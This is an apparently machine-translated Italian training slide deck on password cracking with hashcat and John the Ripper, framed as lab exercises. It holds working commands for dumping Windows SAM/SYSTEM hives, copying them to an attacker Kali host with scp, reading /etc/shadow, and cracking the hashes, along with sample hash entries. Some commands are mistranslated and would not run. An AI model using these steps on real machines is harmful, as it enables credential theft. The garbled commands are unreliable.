Introduzione
Oggi useremo:
- Hashcat per un attacco diretto alle password memorizzate sul
sistema Linux
- John the ripper per aver attaccato le password memorizzate su Windows
PC
- BurpSuite e Hydra per attaccare le password online
2
Metodi di attacco alle password
- Password guessing
- Attacco al dizionario
- Attacco a forza bruta
- Tavoli arcobaleno
- Approccio ibrido y attacco brute force con dizionario specifico
3
Dizionario ben noto
- Un popolare wordlist di password è rockyou.txt. Contiene un elenco di password
comunemente utilizzate ed è popolare tra i pen tester.
- Puoi trovare la lista di parole Rockyou in /usr/share/wordlists
in Kali Linux.
4
Come creare un dizionario personalizzato
- CEWL (generatore di elenchi di parole personalizzate) CeWL è un'app
Ruby che analizza un URL specificato a una profondità specificata,
seguendo facoltativamente i link esterni e restituisce un elenco di parole che
può quindi essere utilizzato per i password cracker
cewl https:// digi.ninja -m 5 -d 2 -w dizionario.txt
Destinazione URL
Lunghezza minima della parola Profondità del ragno
File di output
https://digi.ninja/projects/cewl.ph
5
Come creare un dizionario personalizzato
- Eseguendo Crunch possiamo generare tutte le possibili
permutazioni di 6 caratteri con le parole A e B:
scricchiolio 6 6 AB
6
Attacchi alle password Linux
he:
inistrator
word:
7
/etc/ombra
- Il file /etc/shadow memorizza le informazioni protette dell'account utente.
Tutti i campi sono separati dal simbolo due punti (:). .
Contiene una voce per riga per ogni utente elencato nel file /
etc/passwd.
8
voci /etc/shadow
vivek: $1$inffic$pGteyHdicpGOfffXX4ow#5:13064:0:99999:7 :::
2
3
4
5
6
- Nome utente
- Parola d'ordine
- Ultima modifica della password
- Minimo (giorni richiesti tra le modifiche della password)
- Massimo (numero di giorni di validità della password)
- Avvisa (numero di giorni prima della scadenza della password in cui l'utente viene avvisato)
- Inattivo (numero di giorni dopo la scadenza della password in cui l'account è
disabilitato)
- Scadenza
9
Formato della password
- Di solito il formato della password è impostato su
$id$salt$hashed .
L'algoritmo $id è utilizzato su GNU/Linux come segue:
- $1$
is MD5
cat / etc/ shadow | grep ilaria Ilaria:
$6$c6U2.
.$R.93 ....
- $2a$
is Blowfish
- $2y$
is Blowfish
- $5$
is SHA-256
$6 = SHA-512
- $6$
is SHA-512
10
Utilizzando Hashcat
- Hashcat è uno strumento incluso in Kali Linux che consente di
scoprire la password di un utente Linux partendo dal suo hash
memorizzato nel file shadow, che si trova nella cartella /etc. .
Linux utilizza
SHA-512 come algoritmo hash, insieme alla funzione di
salting.
11
Hashcat: modalità di attacco
- Attacco al dizionario (-a 0)
- opzione predefinita in Hashcat. Un attacco dizionario viene eseguito utilizzando una
wordlist. Quanto migliore è la wordlist, tanto maggiori sono le possibilità di
crackare la password.
- Attacco combinatore (-a 1)
- L'attacco combinatore proverà diverse combinazioni di parole da
la nostra lista di parole.
- Attacco mascherato (-a 3)
- L'attacco maschera è simile all'attacco dizionario, ma è più specifico. Gli approcci
brute-force come gli attacchi dizionario possono richiedere molto tempo per decifrare
una password. Ma se abbiamo informazioni sulla password, possiamo usarle per
accelerare il tempo necessario per decifrarla. Ad esempio, se conosciamo la lunghezza
della password e alcuni caratteri che potrebbero essere nella password, possiamo
generare un wordlist personalizzato con quei caratteri.
12
Utilizzando Hashcat
- Crea file con password crittografata:
- openssl passwd -6 -salt salt prova
Utilizzare sha256/512
- hashcat -- force -m 1800 -a 0 dizionario di prova.txt
Tipo di hash Modalità di attacco
- Vedere il riferimento su https://tools.kali.org/password-
attacks/hashcat
- Utilizzare l'opzione -- show per il risultato
13
Opzioni Hashcat
- Per la modalità Hash, controlla la guida e seleziona il valore corretto (ad esempio
1800 = SHA512 (Unix) )
- Modalità di attacco:
Attack-
Mode
Hash-
Type
Example command
Wordlist
$P$
hashcat -a 0 -m 400 example400. hash example.dict
Wordlist + Rules
| MD5
hashcat -a 0 -m 0 example0. hash example.dict -r rules/best64.rule
Brute-Force
MD5
hashcat -a 3 -m 0 example0. hash ?a?a?a?a?a?a
Combinator
MD5
hashcat -a 1 -m 0 example0. hash example.dict example.dict
14
Attacchi alle password di Windows
he:
inistrator
word:
15
Ottenere la password di Windows
- Ricordiamo che appropriarsi di un file SAM,
contenente le password di accesso degli
utenti ad un dato PC, è un reato.
- Inizieremo con l'acquisizione del file SAM di una
delle nostre macchine campione (C://
Windows/System32/config/SAM)
16
Esempio di file SAM
- Amministratore:500:000000000000000000000000000000000000:A1F
666E43A1DFFE40B96201AFDD26CF3:Account predefinito per l'amministrazione del
computer/dominio ::
- Ospite:501:000000000000000000000000000000000000:000000000
00000000000000000000000:Account predefinito per l'accesso come utente ospite al
computer/dominio ::
- Gas:1000:000000000000000000000000000000000000:0130FA6701
FAB7E584FBF4634EF27B76 :::
- Test_HTML_psw:1000:579DA0AF433BC64A3832C92FC614B7D1
:B0214CFC129F0AF9AD7A992241280E3E :::
17
Come ottenere il file SAM
- Aprire cmd come amministratore
ed eseguire: . reg save \hklm\sam
c:\sam . reg save \hklm\system c:\system
- Copiare entrambi i file sul desktop
- Nel cmd:
- scp C:\Utenti\IEUser\Desktoplsam root@KALI-IP:/root/sam . scp C:
\Utenti\IEUser\Desktop\system root@KALI-
IP:/root/sistema
18
Come ottenere il file SAM
- Nella corsa di Kali:
- Sistema Samdump2 sam > hashWindows.txt
19
Giovanni lo Squartatore
- John the Ripper è forse il password cracker preferito dalla maggior
parte dei penetration tester e degli hacker del mondo.
- Ha molte funzionalità, come il riconoscimento automatico degli
algoritmi di crittografia e hashing più comuni, la possibilità di
usare dizionari e attacchi brute force;
- Consente di applicare regole
alle parole del dizionario, di
modificarle e di avere un elenco di parole più ricco durante il cracking senza
la necessità di memorizzare tale elenco. Quest'ultima funzionalità è
quella che useremo in questa ricetta per generare un dizionario esteso
basato su un elenco di parole molto semplice.
20
Come installare John the Ripper
- sudo apt install John
- john -h
[+]$ john -h
Created directory: /home/htb-ac78569/ . john
John the Ripper 1.9.0-jumbo- 1 OMP [linux-gnu 64-bit x86_64 AVX2 AC]
Copyright (c) 1996-2019 by Solar Designer and others
Homepage : http://www.openwall.com/john/
Usage: john [OPTIONS] [ PASSWORD-FILES]
- - single [=SECTION [ , . . ] ]
"single crack" mode, using default or named rules
same, using "immediate" rule(s)
- - single= : rule [ , .. ]
-wordlist [=FILE] -- stdin
-- pipe
- loopback [=FILE]
- - dupe- suppression
- - prince [=FILE]
-encoding=NAME
htb_vpn_logs.log
- - rules [=SECTION [ , . . ] ]
- - rules =: rule [ ; . . ] ]
-- rules-stack=SECTION[, .. ] stacked rules, applied after regular rules or to
modes that otherwise don't support rules
- - rules-stack =: rule [ ; . . ]
same, using "immediate" rule(s)
"incremental" mode [using_section MODE]
-- incremental [=MODE ]
wordlist mode, read words from FILE or stdin
like -- stdin, but bulk reads, and allows rules
like -- wordlist, but extract words from a .pot file
suppress all dupes in wordlist (and force preload)
PRINCE mode, read words from FILE
input encoding (eg. UTF-8, ISO-8859-1). See also
doc/ENCODINGS and -- list=hidden-options.
enable word mangling rules (for wordlist or PRINCE
modes), using default or named rules
same, using "immediate" rule(s)
21
Come usare John lo Squartatore
- Modalità crack singolo
- Modalità wordlist
- Modalità incrementale
22
Modalità di crepa singola
- In modalità single-crack, John prende una stringa e genera varianti di quella
stringa per generare un set di password.
- Ad esempio, se il nostro nome utente è "stealth" e la password è "StEaLtH", possiamo
utilizzare la modalità singola di John per generare varianti di password (STEALTH,
Stealth, STealth e così via).
- Utilizziamo il flag "format" per specificare il tipo di hash e il flag "single" per far
sapere a John che vogliamo utilizzare la modalità crack singola.
- $ john -- single -- format=raw-sha1 crack.txt
23
Modalità dizionario
- In modalità dizionario, forniremo a John un elenco di
password. John genererà hash per queste al volo e le confronterà
con il nostro hash della password.
- Per questo esempio, useremo la wordlist RockYou. Se stai usando
Kali, puoi trovarla in /usr/share/wordlists/rockyou.txt.
- john -- wordlist=/usr/share/wordlists/rockyou.txt --
formato=raw-sha1 crack.txt
24
Modalità incrementale
- La modalità incrementale è la modalità più potente fornita da
John. Prova tutte le possibili combinazioni di caratteri
come password
- $ john -i:cifre passwordfile.txt
25
Come decifrare una password di Windows
- Forza bruta:
- john -- format=LM /root/hashWindows.txt
- john -- mostra /root/hashWindows.txt
26